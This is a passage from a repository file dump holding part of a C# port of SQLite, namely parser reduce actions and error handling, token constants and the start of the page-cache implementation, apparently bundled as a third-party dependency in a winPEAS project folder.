yygotominor.yy346.pExpr.affinity = (char)yymsp[-3].minor.yy328;\n            }\n            yygotominor.yy346.zStart = yymsp[-5].minor.yy0.z;\n            yygotominor.yy346.zEnd = yymsp[0].minor.yy0.z.Substring(yymsp[0].minor.yy0.n);\n          }\n          //#line 3393 \"parse.c\"\n          break;\n        case 297: /* raisetype ::= ROLLBACK */\n          //#line 1255 \"parse.y\"\n          { yygotominor.yy328 = OE_Rollback; }\n          //#line 3398 \"parse.c\"\n          break;\n        case 299: /* raisetype ::= FAIL */\n          //#line 1257 \"parse.y\"\n          { yygotominor.yy328 = OE_Fail; }\n          //#line 3403 \"parse.c\"\n          break;\n        case 300: /* cmd ::= DROP TRIGGER ifexists fullname */\n          //#line 1262 \"parse.y\"\n          {\n            sqlite3DropTrigger(pParse, yymsp[0].minor.yy65, yymsp[-1].minor.yy328);\n          }\n          //#line 3410 \"parse.c\"\n          break;\n        case 301: /* cmd ::= ATTACH database_kw_opt expr AS expr key_opt */\n          //#line 1269 \"parse.y\"\n          {\n            sqlite3Attach(pParse, yymsp[-3].minor.yy346.pExpr, yymsp[-1].minor.yy346.pExpr, yymsp[0].minor.yy132);\n          }\n          //#line 3417 \"parse.c\"\n          break;\n        case 302: /* cmd ::= DETACH database_kw_opt expr */\n          //#line 1272 \"parse.y\"\n          {\n            sqlite3Detach(pParse, yymsp[0].minor.yy346.pExpr);\n          }\n          //#line 3424 \"parse.c\"\n          break;\n        case 307: /* cmd ::= REINDEX */\n          //#line 1287 \"parse.y\"\n          { sqlite3Reindex(pParse, 0, 0); }\n          //#line 3429 \"parse.c\"\n          break;\n        case 308: /* cmd ::= REINDEX nm dbnm */\n          //#line 1288 \"parse.y\"\n          { sqlite3Reindex(pParse, yymsp[-1].minor.yy0, yymsp[0].minor.yy0); }\n          //#line 3434 \"parse.c\"\n          break;\n        case 309: /* cmd ::= ANALYZE */\n          //#line 1293 \"parse.y\"\n          { sqlite3Analyze(pParse, 0, 0); }\n          //#line 3439 \"parse.c\"\n          break;\n        case 310: /* cmd ::= ANALYZE nm dbnm */\n          //#line 1294 \"parse.y\"\n          { sqlite3Analyze(pParse, yymsp[-1].minor.yy0, yymsp[0].minor.yy0); }\n          //#line 3444 \"parse.c\"\n          break;\n        case 311: /* cmd ::= ALTER TABLE fullname RENAME TO nm */\n          //#line 1299 \"parse.y\"\n          {\n            sqlite3AlterRenameTable(pParse, yymsp[-3].minor.yy65, yymsp[0].minor.yy0);\n          }\n          //#line 3451 \"parse.c\"\n          break;\n        case 312: /* cmd ::= ALTER TABLE add_column_fullname ADD kwcolumn_opt column */\n          //#line 1302 \"parse.y\"\n          {\n            sqlite3AlterFinishAddColumn(pParse, yymsp[0].minor.yy0);\n          }\n          //#line 3458 \"parse.c\"\n          break;\n        case 313: /* add_column_fullname ::= fullname */\n          //#line 1305 \"parse.y\"\n          {\n            pParse.db.lookaside.bEnabled = 0;\n            sqlite3AlterBeginAddColumn(pParse, yymsp[0].minor.yy65);\n          }\n          //#line 3466 \"parse.c\"\n          break;\n        case 316: /* cmd ::= create_vtab */\n          //#line 1315 \"parse.y\"\n          { sqlite3VtabFinishParse(pParse, 0); }\n          //#line 3471 \"parse.c\"\n          break;\n        case 317: /* cmd ::= create_vtab LP vtabarglist RP */\n          //#line 1316 \"parse.y\"\n          { sqlite3VtabFinishParse(pParse, yymsp[0].minor.yy0); }\n          //#line 3476 \"parse.c\"\n          break;\n        case 318: /* create_vtab ::= createkw VIRTUAL TABLE nm dbnm USING nm */\n          //#line 1317 \"parse.y\"\n          {\n            sqlite3VtabBeginParse(pParse, yymsp[-3].minor.yy0, yymsp[-2].minor.yy0, yymsp[0].minor.yy0);\n          }\n          //#line 3483 \"parse.c\"\n          break;\n        case 321: /* vtabarg ::= */\n          //#line 1322 \"parse.y\"\n          { sqlite3VtabArgInit(pParse); }\n          //#line 3488 \"parse.c\"\n          break;\n        case 323: /* vtabargtoken ::= ANY */\n        case 324: /* vtabargtoken ::= lp anylist RP */ //yytestcase(yyruleno==324);\n        case 325: /* lp ::= LP */ //yytestcase(yyruleno==325);\n          //#line 1324 \"parse.y\"\n          { sqlite3VtabArgExtend(pParse, yymsp[0].minor.yy0); }\n          //#line 3495 \"parse.c\"\n          break;\n        default:\n          /* (0) input ::= cmdlist */\n          //yytestcase(yyruleno==0);\n          /* (1) cmdlist ::= cmdlist ecmd */\n          //yytestcase(yyruleno==1);\n          /* (2) cmdlist ::= ecmd */\n          //yytestcase(yyruleno==2);\n          /* (3) ecmd ::= SEMI */\n          //yytestcase(yyruleno==3);\n          /* (4) ecmd ::= explain cmdx SEMI */\n          //yytestcase(yyruleno==4);\n          /* (10) trans_opt ::= */\n          //yytestcase(yyruleno==10);\n          /* (11) trans_opt ::= TRANSACTION */\n          //yytestcase(yyruleno==11);\n          /* (12) trans_opt ::= TRANSACTION nm */\n          //yytestcase(yyruleno==12);\n          /* (20) savepoint_opt ::= SAVEPOINT */\n          //yytestcase(yyruleno==20);\n          /* (21) savepoint_opt ::= */\n          //yytestcase(yyruleno==21);\n          /* (25) cmd ::= create_table create_table_args */\n          //yytestcase(yyruleno==25);\n          /* (34) columnlist ::= columnlist COMMA column */\n          //yytestcase(yyruleno==34);\n          /* (35) columnlist ::= column */\n          //yytestcase(yyruleno==35);\n          /* (44) type ::= */\n          //yytestcase(yyruleno==44);\n          /* (51) signed ::= plus_num */\n          //yytestcase(yyruleno==51);\n          /* (52) signed ::= minus_num */\n          //yytestcase(yyruleno==52);\n          /* (53) carglist ::= carglist carg */\n          //yytestcase(yyruleno==53);\n          /* (54) carglist ::= */\n          //yytestcase(yyruleno==54);\n          /* (55) carg ::= CONSTRAINT nm ccons */\n          //yytestcase(yyruleno==55);\n          /* (56) carg ::= ccons */\n          //yytestcase(yyruleno==56);\n          /* (62) ccons ::= NULL onconf */\n          //yytestcase(yyruleno==62);\n          /* (89) conslist ::= conslist COMMA tcons */\n          //yytestcase(yyruleno==89);\n          /* (90) conslist ::= conslist tcons */\n          //yytestcase(yyruleno==90);\n          /* (91) conslist ::= tcons */\n          //yytestcase(yyruleno==91);\n          /* (92) tcons ::= CONSTRAINT nm */\n          //yytestcase(yyruleno==92);\n          /* (268) plus_opt ::= PLUS */\n          //yytestcase(yyruleno==268);\n          /* (269) plus_opt ::= */\n          //yytestcase(yyruleno==269);\n          /* (279) foreach_clause ::= */\n          //yytestcase(yyruleno==279);\n          /* (280) foreach_clause ::= FOR EACH ROW */\n          //yytestcase(yyruleno==280);\n          /* (287) tridxby ::= */\n          //yytestcase(yyruleno==287);\n          /* (305) database_kw_opt ::= DATABASE */\n          //yytestcase(yyruleno==305);\n          /* (306) database_kw_opt ::= */\n          //yytestcase(yyruleno==306);\n          /* (314) kwcolumn_opt ::= */\n          //yytestcase(yyruleno==314);\n          /* (315) kwcolumn_opt ::= COLUMNKW */\n          //yytestcase(yyruleno==315);\n          /* (319) vtabarglist ::= vtabarg */\n          //yytestcase(yyruleno==319);\n          /* (320) vtabarglist ::= vtabarglist COMMA vtabarg */\n          //yytestcase(yyruleno==320);\n          /* (322) vtabarg ::= vtabarg vtabargtoken */\n          //yytestcase(yyruleno==322);\n          /* (326) anylist ::= */\n          //yytestcase(yyruleno==326);\n          /* (327) anylist ::= anylist LP anylist RP */\n          //yytestcase(yyruleno==327);\n          /* (328) anylist ::= anylist ANY */\n          //yytestcase(yyruleno==328);\n          break;\n      };\n      yygoto = yyRuleInfo[yyruleno].lhs;\n      yysize = yyRuleInfo[yyruleno].nrhs;\n      yypParser.yyidx -= yysize;\n      yyact = yy_find_reduce_action(yymsp[-yysize].stateno, (YYCODETYPE)yygoto);\n      if (yyact < YYNSTATE)\n      {\n#if NDEBUG\n/* If we are not debugging and the reduce action popped at least\n** one element off the stack, then we can push the new element back\n** onto the stack here, and skip the stack overflow test in yy_shift().\n** That gives a significant speed improvement. */\nif( yysize!=0 ){\nyypParser.yyidx++;\nyymsp._yyidx -= yysize - 1;\nyymsp[0].stateno = (YYACTIONTYPE)yyact;\nyymsp[0].major = (YYCODETYPE)yygoto;\nyymsp[0].minor = yygotominor;\n}else\n#endif\n        {\n          yy_shift(yypParser, yyact, yygoto, yygotominor);\n        }\n      }\n      else\n      {\n        Debug.Assert(yyact == YYNSTATE + YYNRULE + 1);\n        yy_accept(yypParser);\n      }\n    }\n\n    /*\n    ** The following code executes when the parse fails\n    */\n#if !YYNOERRORRECOVERY\n    static void yy_parse_failed(\n    yyParser yypParser           /* The parser */\n    )\n    {\n      Parse pParse = yypParser.pParse; //       sqlite3ParserARG_FETCH;\n#if !NDEBUG\n      if (yyTraceFILE != null)\n      {\n        Debugger.Break(); // TODO --        fprintf(yyTraceFILE, \"%sFail!\\n\", yyTracePrompt);\n      }\n#endif\n      while (yypParser.yyidx >= 0) yy_pop_parser_stack(yypParser);\n      /* Here code is inserted which will be executed whenever the\n      ** parser fails */\n      yypParser.pParse = pParse;//      sqlite3ParserARG_STORE; /* Suppress warning about unused %extra_argument variable */\n    }\n#endif //* YYNOERRORRECOVERY */\n\n    /*\n** The following code executes when a syntax error first occurs.\n*/\n    static void yy_syntax_error(\n    yyParser yypParser,           /* The parser */\n    int yymajor,                   /* The major type of the error token */\n    YYMINORTYPE yyminor            /* The minor type of the error token */\n    )\n    {\n      Parse pParse = yypParser.pParse; //       sqlite3ParserARG_FETCH;\n      //#define TOKEN (yyminor.yy0)\n      //#line 34 \"parse.y\"\n\n      UNUSED_PARAMETER(yymajor);  /* Silence some compiler warnings */\n      Debug.Assert(yyminor.yy0.z.Length > 0); //TOKEN.z[0]);  /* The tokenizer always gives us a token */\n      sqlite3ErrorMsg(pParse, \"near \\\"%T\\\": syntax error\", yyminor.yy0);//&TOKEN);\n      pParse.parseError = 1;\n      //#line 3603 \"parse.c\"\n      yypParser.pParse = pParse; // sqlite3ParserARG_STORE; /* Suppress warning about unused %extra_argument variable */\n    }\n\n    /*\n    ** The following is executed when the parser accepts\n    */\n    static void yy_accept(\n    yyParser yypParser           /* The parser */\n    )\n    {\n      Parse pParse = yypParser.pParse; //       sqlite3ParserARG_FETCH;\n#if !NDEBUG\n      if (yyTraceFILE != null)\n      {\n        fprintf(yyTraceFILE, \"%sAccept!\\n\", yyTracePrompt);\n      }\n#endif\n      while (yypParser.yyidx >= 0) yy_pop_parser_stack(yypParser);\n      /* Here code is inserted which will be executed whenever the\n      ** parser accepts */\n      yypParser.pParse = pParse;//      sqlite3ParserARG_STORE; /* Suppress warning about unused %extra_argument variable */\n    }\n\n    /* The main parser program.\n    ** The first argument is a pointer to a structure obtained from\n    ** \"sqlite3ParserAlloc\" which describes the current state of the parser.\n    ** The second argument is the major token number.  The third is\n    ** the minor token.  The fourth optional argument is whatever the\n    ** user wants (and specified in the grammar) and is available for\n    ** use by the action routines.\n    **\n    ** Inputs:\n    ** <ul>\n    ** <li> A pointer to the parser (an opaque structure.)\n    ** <li> The major token number.\n    ** <li> The minor token number.\n    ** <li> An option argument of a grammar-specified type.\n    ** </ul>\n    **\n    ** Outputs:\n    ** None.\n    */\n    static void sqlite3Parser(\n    yyParser yyp,                   /* The parser */\n    int yymajor,                     /* The major token code number */\n    sqlite3ParserTOKENTYPE yyminor  /* The value for the token */\n    , Parse pParse //sqlite3ParserARG_PDECL           /* Optional %extra_argument parameter */\n    )\n    {\n      YYMINORTYPE yyminorunion = new YYMINORTYPE();\n      int yyact;            /* The parser action. */\n      bool yyendofinput;     /* True if we are at the end of input */\n#if YYERRORSYMBOL\nint yyerrorhit = 0;   /* True if yymajor has invoked an error */\n#endif\n      yyParser yypParser;  /* The parser */\n\n      /* (re)initialize the parser, if necessary */\n      yypParser = yyp;\n      if (yypParser.yyidx < 0)\n      {\n#if YYSTACKDEPTH//<=0\nif( yypParser.yystksz <=0 ){\nmemset(yyminorunion, 0, yyminorunion).Length;\nyyStackOverflow(yypParser, yyminorunion);\nreturn;\n}\n#endif\n        yypParser.yyidx = 0;\n        yypParser.yyerrcnt = -1;\n        yypParser.yystack[0] = new yyStackEntry();\n        yypParser.yystack[0].stateno = 0;\n        yypParser.yystack[0].major = 0;\n      }\n      yyminorunion.yy0 = yyminor.Copy();\n      yyendofinput = (yymajor == 0);\n      yypParser.pParse = pParse;//      sqlite3ParserARG_STORE;\n\n#if !NDEBUG\n      if (yyTraceFILE != null)\n      {\n        fprintf(yyTraceFILE, \"%sInput %s\\n\", yyTracePrompt, yyTokenName[yymajor]);\n      }\n#endif\n\n      do\n      {\n        yyact = yy_find_shift_action(yypParser, (YYCODETYPE)yymajor);\n        if (yyact < YYNSTATE)\n        {\n          Debug.Assert(!yyendofinput);  /* Impossible to shift the $ token */\n          yy_shift(yypParser, yyact, yymajor, yyminorunion);\n          yypParser.yyerrcnt--;\n          yymajor = YYNOCODE;\n        }\n        else if (yyact < YYNSTATE + YYNRULE)\n        {\n          yy_reduce(yypParser, yyact - YYNSTATE);\n        }\n        else\n        {\n          Debug.Assert(yyact == YY_ERROR_ACTION);\n#if YYERRORSYMBOL\nint yymx;\n#endif\n#if !NDEBUG\n          if (yyTraceFILE != null)\n          {\n            Debugger.Break(); // TODO --            fprintf(yyTraceFILE, \"%sSyntax Error!\\n\", yyTracePrompt);\n          }\n#endif\n#if YYERRORSYMBOL\n/* A syntax error has occurred.\n** The response to an error depends upon whether or not the\n** grammar defines an error token \"ERROR\".\n**\n** This is what we do if the grammar does define ERROR:\n**\n**  * Call the %syntax_error function.\n**\n**  * Begin popping the stack until we enter a state where\n**    it is legal to shift the error symbol, then shift\n**    the error symbol.\n**\n**  * Set the error count to three.\n**\n**  * Begin accepting and shifting new tokens.  No new error\n**    processing will occur until three tokens have been\n**    shifted successfully.\n**\n*/\nif( yypParser.yyerrcnt<0 ){\nyy_syntax_error(yypParser,yymajor,yyminorunion);\n}\nyymx = yypParser.yystack[yypParser.yyidx].major;\nif( yymx==YYERRORSYMBOL || yyerrorhit ){\n#if !NDEBUG\nif( yyTraceFILE ){\nDebug.Assert(false); // TODO --                      fprintf(yyTraceFILE,\"%sDiscard input token %s\\n\",\nyyTracePrompt,yyTokenName[yymajor]);\n}\n#endif\nyy_destructor(yypParser,(YYCODETYPE)yymajor,yyminorunion);\nyymajor = YYNOCODE;\n}else{\nwhile(\nyypParser.yyidx >= 0 &&\nyymx != YYERRORSYMBOL &&\n(yyact = yy_find_reduce_action(\nyypParser.yystack[yypParser.yyidx].stateno,\nYYERRORSYMBOL)) >= YYNSTATE\n){\nyy_pop_parser_stack(yypParser);\n}\nif( yypParser.yyidx < 0 || yymajor==0 ){\nyy_destructor(yypParser, (YYCODETYPE)yymajor,yyminorunion);\nyy_parse_failed(yypParser);\nyymajor = YYNOCODE;\n}else if( yymx!=YYERRORSYMBOL ){\nYYMINORTYPE u2;\nu2.YYERRSYMDT = 0;\nyy_shift(yypParser,yyact,YYERRORSYMBOL,u2);\n}\n}\nyypParser.yyerrcnt = 3;\nyyerrorhit = 1;\n#elif (YYNOERRORRECOVERY)\n/* If the YYNOERRORRECOVERY macro is defined, then do not attempt to\n** do any kind of error recovery.  Instead, simply invoke the syntax\n** error routine and continue going as if nothing had happened.\n**\n** Applications can set this macro (for example inside %include) if\n** they intend to abandon the parse upon the first syntax error seen.\n*/\nyy_syntax_error(yypParser,yymajor,yyminorunion);\nyy_destructor(yypParser,(YYCODETYPE)yymajor,yyminorunion);\nyymajor = YYNOCODE;\n#else  // * YYERRORSYMBOL is not defined */\n          /* This is what we do if the grammar does not define ERROR:\n**\n**  * Report an error message, and throw away the input token.\n**\n**  * If the input token is $, then fail the parse.\n**\n** As before, subsequent error messages are suppressed until\n** three input tokens have been successfully shifted.\n*/\n          if (yypParser.yyerrcnt <= 0)\n          {\n            yy_syntax_error(yypParser, yymajor, yyminorunion);\n          }\n          yypParser.yyerrcnt = 3;\n          yy_destructor(yypParser, (YYCODETYPE)yymajor, yyminorunion);\n          if (yyendofinput)\n          {\n            yy_parse_failed(yypParser);\n          }\n          yymajor = YYNOCODE;\n#endif\n        }\n      } while (yymajor != YYNOCODE && yypParser.yyidx >= 0);\n      return;\n    }\n    public class yymsp\n    {\n      public yyParser _yyParser;\n      public int _yyidx;\n      // CONSTRUCTOR\n      public yymsp(ref yyParser pointer_to_yyParser, int yyidx) //' Parser and Stack Index\n      {\n        this._yyParser = pointer_to_yyParser;\n        this._yyidx = yyidx;\n      }\n      // Default Value\n      public yyStackEntry this[int offset]\n      {\n        get { return _yyParser.yystack[_yyidx + offset]; }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/parse_h.cs",
    "content": "/*\n**  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n**  C#-SQLite is an independent reimplementation of the SQLite software library\n**\n*************************************************************************\n**  Repository path : $HeadURL: https://sqlitecs.googlecode.com/svn/trunk/C%23SQLite/src/parse_h.cs $\n**  Revision        : $Revision$\n**  Last Change Date: $LastChangedDate: 2009-08-04 13:34:52 -0700 (Tue, 04 Aug 2009) $\n**  Last Changed By : $LastChangedBy: noah.hart $\n*************************************************************************\n*/\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    //#define TK_SEMI                            1\n    //#define TK_EXPLAIN                         2\n    //#define TK_QUERY                           3\n    //#define TK_PLAN                            4\n    //#define TK_BEGIN                           5\n    //#define TK_TRANSACTION                     6\n    //#define TK_DEFERRED                        7\n    //#define TK_IMMEDIATE                       8\n    //#define TK_EXCLUSIVE                       9\n    //#define TK_COMMIT                         10\n    //#define TK_END                            11\n    //#define TK_ROLLBACK                       12\n    //#define TK_SAVEPOINT                      13\n    //#define TK_RELEASE                        14\n    //#define TK_TO                             15\n    //#define TK_TABLE                          16\n    //#define TK_CREATE                         17\n    //#define TK_IF                             18\n    //#define TK_NOT                            19\n    //#define TK_EXISTS                         20\n    //#define TK_TEMP                           21\n    //#define TK_LP                             22\n    //#define TK_RP                             23\n    //#define TK_AS                             24\n    //#define TK_COMMA                          25\n    //#define TK_ID                             26\n    //#define TK_INDEXED                        27\n    //#define TK_ABORT                          28\n    //#define TK_AFTER                          29\n    //#define TK_ANALYZE                        30\n    //#define TK_ASC                            31\n    //#define TK_ATTACH                         32\n    //#define TK_BEFORE                         33\n    //#define TK_BY                             34\n    //#define TK_CASCADE                        35\n    //#define TK_CAST                           36\n    //#define TK_COLUMNKW                       37\n    //#define TK_CONFLICT                       38\n    //#define TK_DATABASE                       39\n    //#define TK_DESC                           40\n    //#define TK_DETACH                         41\n    //#define TK_EACH                           42\n    //#define TK_FAIL                           43\n    //#define TK_FOR                            44\n    //#define TK_IGNORE                         45\n    //#define TK_INITIALLY                      46\n    //#define TK_INSTEAD                        47\n    //#define TK_LIKE_KW                        48\n    //#define TK_MATCH                          49\n    //#define TK_KEY                            50\n    //#define TK_OF                             51\n    //#define TK_OFFSET                         52\n    //#define TK_PRAGMA                         53\n    //#define TK_RAISE                          54\n    //#define TK_REPLACE                        55\n    //#define TK_RESTRICT                       56\n    //#define TK_ROW                            57\n    //#define TK_TRIGGER                        58\n    //#define TK_VACUUM                         59\n    //#define TK_VIEW                           60\n    //#define TK_VIRTUAL                        61\n    //#define TK_REINDEX                        62\n    //#define TK_RENAME                         63\n    //#define TK_CTIME_KW                       64\n    //#define TK_ANY                            65\n    //#define TK_OR                             66\n    //#define TK_AND                            67\n    //#define TK_IS                             68\n    //#define TK_BETWEEN                        69\n    //#define TK_IN                             70\n    //#define TK_ISNULL                         71\n    //#define TK_NOTNULL                        72\n    //#define TK_NE                             73\n    //#define TK_EQ                             74\n    //#define TK_GT                             75\n    //#define TK_LE                             76\n    //#define TK_LT                             77\n    //#define TK_GE                             78\n    //#define TK_ESCAPE                         79\n    //#define TK_BITAND                         80\n    //#define TK_BITOR                          81\n    //#define TK_LSHIFT                         82\n    //#define TK_RSHIFT                         83\n    //#define TK_PLUS                           84\n    //#define TK_MINUS                          85\n    //#define TK_STAR                           86\n    //#define TK_SLASH                          87\n    //#define TK_REM                            88\n    //#define TK_CONCAT                         89\n    //#define TK_COLLATE                        90\n    //#define TK_UMINUS                         91\n    //#define TK_UPLUS                          92\n    //#define TK_BITNOT                         93\n    //#define TK_STRING                         94\n    //#define TK_JOIN_KW                        95\n    //#define TK_CONSTRAINT                     96\n    //#define TK_DEFAULT                        97\n    //#define TK_NULL                           98\n    //#define TK_PRIMARY                        99\n    //#define TK_UNIQUE                         100\n    //#define TK_CHECK                          101\n    //#define TK_REFERENCES                     102\n    //#define TK_AUTOINCR                       103\n    //#define TK_ON                             104\n    //#define TK_DELETE                         105\n    //#define TK_UPDATE                         106\n    //#define TK_INSERT                         107\n    //#define TK_SET                            108\n    //#define TK_DEFERRABLE                     109\n    //#define TK_FOREIGN                        110\n    //#define TK_DROP                           111\n    //#define TK_UNION                          112\n    //#define TK_ALL                            113\n    //#define TK_EXCEPT                         114\n    //#define TK_INTERSECT                      115\n    //#define TK_SELECT                         116\n    //#define TK_DISTINCT                       117\n    //#define TK_DOT                            118\n    //#define TK_FROM                           119\n    //#define TK_JOIN                           120\n    //#define TK_USING                          121\n    //#define TK_ORDER                          122\n    //#define TK_GROUP                          123\n    //#define TK_HAVING                         124\n    //#define TK_LIMIT                          125\n    //#define TK_WHERE                          126\n    //#define TK_INTO                           127\n    //#define TK_VALUES                         128\n    //#define TK_INTEGER                        129\n    //#define TK_FLOAT                          130\n    //#define TK_BLOB                           131\n    //#define TK_REGISTER                       132\n    //#define TK_VARIABLE                       133\n    //#define TK_CASE                           134\n    //#define TK_WHEN                           135\n    //#define TK_THEN                           136\n    //#define TK_ELSE                           137\n    //#define TK_INDEX                          138\n    //#define TK_ALTER                          139\n    //#define TK_ADD                            140\n    //#define TK_TO_TEXT                        141\n    //#define TK_TO_BLOB                        142\n    //#define TK_TO_NUMERIC                     143\n    //#define TK_TO_INT                         144\n    //#define TK_TO_REAL                        145\n    //#define TK_END_OF_FILE                    146\n    //#define TK_ILLEGAL                        147\n    //#define TK_SPACE                          148\n    //#define TK_UNCLOSED_STRING                149\n    //#define TK_FUNCTION                       150\n    //#define TK_COLUMN                         151\n    //#define TK_AGG_FUNCTION                   152\n    //#define TK_AGG_COLUMN                     153\n    //#define TK_CONST_FUNC                     154\n    const int TK_SEMI = 1;\n    const int TK_EXPLAIN = 2;\n    const int TK_QUERY = 3;\n    const int TK_PLAN = 4;\n    const int TK_BEGIN = 5;\n    const int TK_TRANSACTION = 6;\n    const int TK_DEFERRED = 7;\n    const int TK_IMMEDIATE = 8;\n    const int TK_EXCLUSIVE = 9;\n    const int TK_COMMIT = 10;\n    const int TK_END = 11;\n    const int TK_ROLLBACK = 12;\n    const int TK_SAVEPOINT = 13;\n    const int TK_RELEASE = 14;\n    const int TK_TO = 15;\n    const int TK_TABLE = 16;\n    const int TK_CREATE = 17;\n    const int TK_IF = 18;\n    const int TK_NOT = 19;\n    const int TK_EXISTS = 20;\n    const int TK_TEMP = 21;\n    const int TK_LP = 22;\n    const int TK_RP = 23;\n    const int TK_AS = 24;\n    const int TK_COMMA = 25;\n    const int TK_ID = 26;\n    const int TK_INDEXED = 27;\n    const int TK_ABORT = 28;\n    const int TK_AFTER = 29;\n    const int TK_ANALYZE = 30;\n    const int TK_ASC = 31;\n    const int TK_ATTACH = 32;\n    const int TK_BEFORE = 33;\n    const int TK_BY = 34;\n    const int TK_CASCADE = 35;\n    const int TK_CAST = 36;\n    const int TK_COLUMNKW = 37;\n    const int TK_CONFLICT = 38;\n    const int TK_DATABASE = 39;\n    const int TK_DESC = 40;\n    const int TK_DETACH = 41;\n    const int TK_EACH = 42;\n    const int TK_FAIL = 43;\n    const int TK_FOR = 44;\n    const int TK_IGNORE = 45;\n    const int TK_INITIALLY = 46;\n    const int TK_INSTEAD = 47;\n    const int TK_LIKE_KW = 48;\n    const int TK_MATCH = 49;\n    const int TK_KEY = 50;\n    const int TK_OF = 51;\n    const int TK_OFFSET = 52;\n    const int TK_PRAGMA = 53;\n    const int TK_RAISE = 54;\n    const int TK_REPLACE = 55;\n    const int TK_RESTRICT = 56;\n    const int TK_ROW = 57;\n    const int TK_TRIGGER = 58;\n    const int TK_VACUUM = 59;\n    const int TK_VIEW = 60;\n    const int TK_VIRTUAL = 61;\n    const int TK_REINDEX = 62;\n    const int TK_RENAME = 63;\n    const int TK_CTIME_KW = 64;\n    const int TK_ANY = 65;\n    const int TK_OR = 66;\n    const int TK_AND = 67;\n    const int TK_IS = 68;\n    const int TK_BETWEEN = 69;\n    const int TK_IN = 70;\n    const int TK_ISNULL = 71;\n    const int TK_NOTNULL = 72;\n    const int TK_NE = 73;\n    const int TK_EQ = 74;\n    const int TK_GT = 75;\n    const int TK_LE = 76;\n    const int TK_LT = 77;\n    const int TK_GE = 78;\n    const int TK_ESCAPE = 79;\n    const int TK_BITAND = 80;\n    const int TK_BITOR = 81;\n    const int TK_LSHIFT = 82;\n    const int TK_RSHIFT = 83;\n    const int TK_PLUS = 84;\n    const int TK_MINUS = 85;\n    const int TK_STAR = 86;\n    const int TK_SLASH = 87;\n    const int TK_REM = 88;\n    const int TK_CONCAT = 89;\n    const int TK_COLLATE = 90;\n    const int TK_UMINUS = 91;\n    const int TK_UPLUS = 92;\n    const int TK_BITNOT = 93;\n    const int TK_STRING = 94;\n    const int TK_JOIN_KW = 95;\n    const int TK_CONSTRAINT = 96;\n    const int TK_DEFAULT = 97;\n    const int TK_NULL = 98;\n    const int TK_PRIMARY = 99;\n    const int TK_UNIQUE = 100;\n    const int TK_CHECK = 101;\n    const int TK_REFERENCES = 102;\n    const int TK_AUTOINCR = 103;\n    const int TK_ON = 104;\n    const int TK_DELETE = 105;\n    const int TK_UPDATE = 106;\n    const int TK_INSERT = 107;\n    const int TK_SET = 108;\n    const int TK_DEFERRABLE = 109;\n    const int TK_FOREIGN = 110;\n    const int TK_DROP = 111;\n    const int TK_UNION = 112;\n    const int TK_ALL = 113;\n    const int TK_EXCEPT = 114;\n    const int TK_INTERSECT = 115;\n    const int TK_SELECT = 116;\n    const int TK_DISTINCT = 117;\n    const int TK_DOT = 118;\n    const int TK_FROM = 119;\n    const int TK_JOIN = 120;\n    const int TK_USING = 121;\n    const int TK_ORDER = 122;\n    const int TK_GROUP = 123;\n    const int TK_HAVING = 124;\n    const int TK_LIMIT = 125;\n    const int TK_WHERE = 126;\n    const int TK_INTO = 127;\n    const int TK_VALUES = 128;\n    const int TK_INTEGER = 129;\n    const int TK_FLOAT = 130;\n    const int TK_BLOB = 131;\n    const int TK_REGISTER = 132;\n    const int TK_VARIABLE = 133;\n    const int TK_CASE = 134;\n    const int TK_WHEN = 135;\n    const int TK_THEN = 136;\n    const int TK_ELSE = 137;\n    const int TK_INDEX = 138;\n    const int TK_ALTER = 139;\n    const int TK_ADD = 140;\n    const int TK_TO_TEXT = 141;\n    const int TK_TO_BLOB = 142;\n    const int TK_TO_NUMERIC = 143;\n    const int TK_TO_INT = 144;\n    const int TK_TO_REAL = 145;\n    const int TK_END_OF_FILE = 146;\n    const int TK_ILLEGAL = 147;\n    const int TK_SPACE = 148;\n    const int TK_UNCLOSED_STRING = 149;\n    const int TK_FUNCTION = 150;\n    const int TK_COLUMN = 151;\n    const int TK_AGG_FUNCTION = 152;\n    const int TK_AGG_COLUMN = 153;\n    const int TK_CONST_FUNC = 154;\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/pcache1_c.cs",
    "content": "using System.Diagnostics;\nusing u32 = System.UInt32;\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n    using sqlite3_pcache = CSSQLite.PCache1;\n  public partial class CSSQLite\n  {\n    /*\n    ** 2008 November 05\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    **\n    ** This file implements the default page cache implementation (the\n    ** sqlite3_pcache interface). It also contains part of the implementation\n    ** of the SQLITE_CONFIG_PAGECACHE and sqlite3_release_memory() features.\n    ** If the default page cache implementation is overriden, then neither of\n    ** these two features are available.\n    **\n    ** @(#) $Id: pcache1.c,v 1.19 2009/07/17 11:44:07 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n\n    //#include \"sqliteInt.h\"\n\n    //typedef struct PCache1 PCache1;\n    //typedef struct PgHdr1 PgHdr1;\n    //typedef struct PgFreeslot PgFreeslot;\n\n    /* Pointers to structures of this type are cast and returned as\n    ** opaque sqlite3_pcache* handles\n    */\n\n    public class PCache1\n    {\n      /* Cache configuration parameters. Page size (szPage) and the purgeable\n      ** flag (bPurgeable) are set when the cache is created. nMax may be\n      ** modified at any time by a call to the pcache1CacheSize() method.\n      ** The global mutex must be held when accessing nMax.\n      */\n      public int szPage;                /* Size of every page in this cache */\n      public bool bPurgeable;           /* True if pages are on backing store */\n      public u32 nMin;                  /* Minimum number of pages reserved */\n      public u32 nMax;                  /* Configured \"cache_size\" value */\n\n      /* Hash table of all pages. The following variables may only be accessed\n      ** when the accessor is holding the global mutex (see pcache1EnterMutex()\n      ** and pcache1LeaveMutex()).\n      */\n      public u32 nRecyclable;           /* Number of pages in the LRU list */\n      public u32 nPage;                 /* Total number of pages in apHash */\n      public u32 nHash;                 /* Number of slots in apHash[] */\n      public PgHdr1[] apHash;           /* Hash table for fast lookup by pgno */\n      public u32 iMaxKey;               /* Largest key seen since xTruncate() */\n\n\n      public void Clear()\n      {\n        nRecyclable = 0;\n        